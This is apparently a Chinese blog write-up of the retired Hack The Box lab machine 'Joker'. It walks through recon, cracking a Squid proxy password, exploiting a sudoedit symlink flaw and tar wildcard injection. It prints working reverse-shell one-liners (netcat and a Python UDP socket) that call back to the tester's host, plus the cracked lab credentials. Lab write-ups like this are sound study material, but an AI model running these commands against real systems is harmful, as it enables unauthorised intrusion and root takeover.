HTB-靶机-Joker

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.21

nmap -p- --min-rate 10000 -Pn -oN joker.nmap 10.10.10.21

nmap -p 22,3128 -sC -sV -Pn -oN joker.nmapdetail 10.10.10.21

sudo nmap -sU --top-ports 200 -oN joker.nmapudp 10.10.10.21

nmap扫描结果

此靶机跟udp相关比较多,探测出来了69的tftp服务,直接访问,根据上面开放的代理端口,下载其默认配置文件

根据上述获得的配置文件信息,得到了代理密码的配置文件位置

通过tftp使用同样的方式获取到passwords文件,然后使用john使用字典破解

得出代理服务的账号和密码 为:kalamari:ihateseafood  使用火狐插件配置好代理

然后访问下web应用看是否可以有页面

有页面但是显示了个错误页面,访问本地回环口IP地址,没发现啥有价值的信息,之后使用dirb配置代理跑下目录

 dirb http://127.0.0.1 -p http://10.10.10.21:3128 -P kalamari:ihateseafood -r

发现了console的URI地址,访问得到一个Python交互式的窗口,通过一序列测试,可以执行Python命令,查看了下防火墙配置,发现udp协议是全开放,tcp协议只开了特定端口,所以本靶机需要使用udp协议进行反弹shell,经过测试,udp协议真的不稳定,不是卡住了,就是显示信息不全,而且还容易掉线,下面是执行Python的反弹shell命令

os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.4 8833 >/tmp/f").read()

本地kali监听udp协议8833端口

然后执行了一把sudo -l 发现可以通过sudoedit命令不需要密码的情况下以用户alekos执行特定的文件

搜索一下sudoedit的历史漏洞信息

根据漏洞显示可以使用sudoedit命令打开软连接文件的时候,超过两级目录是不会检查路径的,那么这里可以在目标靶机上建立一个文件,然后通过软连接到用户alekos下面的.ssh/authorized_keys文件,然后写入本地kali 的公钥即可通过本地kali连接用户alekos

上述成功建立软连接,可以使用sudoedit -u alekos /var/www/testing/bmfx/layout.html 直接打开文件然后粘贴自己本地kali 的公钥保存即可 ,这里操作显示的不方便,明明粘贴进去了,会显示空白,所以只要确保粘贴成功了,就可以了

切换到此用户之后发现两个目录其中一个backup目录

可以看出是存在计划任务每5分钟备份一次,备份的文件名在前面的基础上+300 ,备份完成之后是权限是root为拥有人,则可判断为备份的动作是root权限执行,那么可以通过计划任务进行提权,因为提权的动作会以root权限使用tar命令去执行打包,所以可以通过tar命令执行提权操作,具体可参考如下链接:

https://gtfobins.github.io/gtfobins/tar/
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
https://www.exploit-db.com/papers/33930
https://0xdf.gitlab.io/2020/07/22/htb-shrek.html#chown-wildcard-exploit

所以通过如下操作进行反弹shell提权

使用Python进行反弹shell,保存成文件bmfx.py

#!/usr/bin/python
import subprocess

subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect(("10.10.14.4", 8844));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/sh");s.close()'])

在目录development创建下面的文件
touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=python bmfx.py'

kali环境下执行监听8844端口 socat file:`tty`,raw,echo=0 udp-listen:8844

等计划任务执行即可获取root-shell

另一种方式获取root.txt

通过创建development的软连接到root根目录,然后利用计划任务将root根目录文件打包到backup目录下,然后解压打包的文件查看root.txt

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13931382.html